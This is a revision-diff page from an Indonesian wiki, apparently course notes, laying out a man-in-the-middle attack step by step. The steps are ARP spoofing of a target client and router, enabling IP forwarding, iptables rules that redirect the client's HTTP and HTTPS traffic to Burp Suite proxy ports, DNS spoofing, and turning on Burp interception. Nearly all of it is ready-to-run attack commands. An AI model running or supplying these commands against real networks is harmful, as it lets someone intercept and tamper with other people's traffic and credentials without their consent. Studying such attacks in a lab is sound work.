MITM: burpsuite: Difference between revisions
From OnnoCenterWiki
Jump to navigationJump to search
Onnowpurbo (talk | contribs) |
Onnowpurbo (talk | contribs) |
||
| (2 intermediate revisions by the same user not shown) | |||
| Line 1: | Line 1: | ||
==arpspoof== | ==arpspoof== | ||
Lakukan arpspoof ke client saja .. | |||
arpspoof -i <interface> -t <target> <router> | arpspoof -i <interface> -t <target> <router> | ||
| Line 10: | Line 12: | ||
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 | iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 | ||
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8443 | iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8443 | ||
iptables -t nat -A PREROUTING -i eth0 -p tcp -s ip.cli.ent --dport 80 -j REDIRECT --to-port 8080 | |||
iptables -t nat -A PREROUTING -i eth0 -p tcp -s ip.cli.ent --dport 443 -j REDIRECT --to-port 8443 | |||
| Line 22: | Line 30: | ||
* klik Proxy > Intercept > Intercept is on | * klik Proxy > Intercept > Intercept is on | ||
Kita perlu mengarahkan | |||
Kita perlu mengarahkan traffic | |||
* traffic 80 ke port 8080 + enable invisible proxy | |||
* traffic 443 ke port 8443 + enable invisible proxy | |||
==Pranala Menarik== | ==Pranala Menarik== | ||
* [[MITM]] | * [[MITM]] | ||
Latest revision as of 21:47, 5 October 2018
arpspoof
Lakukan arpspoof ke client saja ..
arpspoof -i <interface> -t <target> <router>
Redirect & IP Forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080 iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8443
iptables -t nat -A PREROUTING -i eth0 -p tcp -s ip.cli.ent --dport 80 -j REDIRECT --to-port 8080 iptables -t nat -A PREROUTING -i eth0 -p tcp -s ip.cli.ent --dport 443 -j REDIRECT --to-port 8443
dnsspoof -i <interface>
Burpsuite
burpsuite
Setup
- klik Proxy > Intercept > Intercept is on
Kita perlu mengarahkan
- traffic 80 ke port 8080 + enable invisible proxy
- traffic 443 ke port 8443 + enable invisible proxy
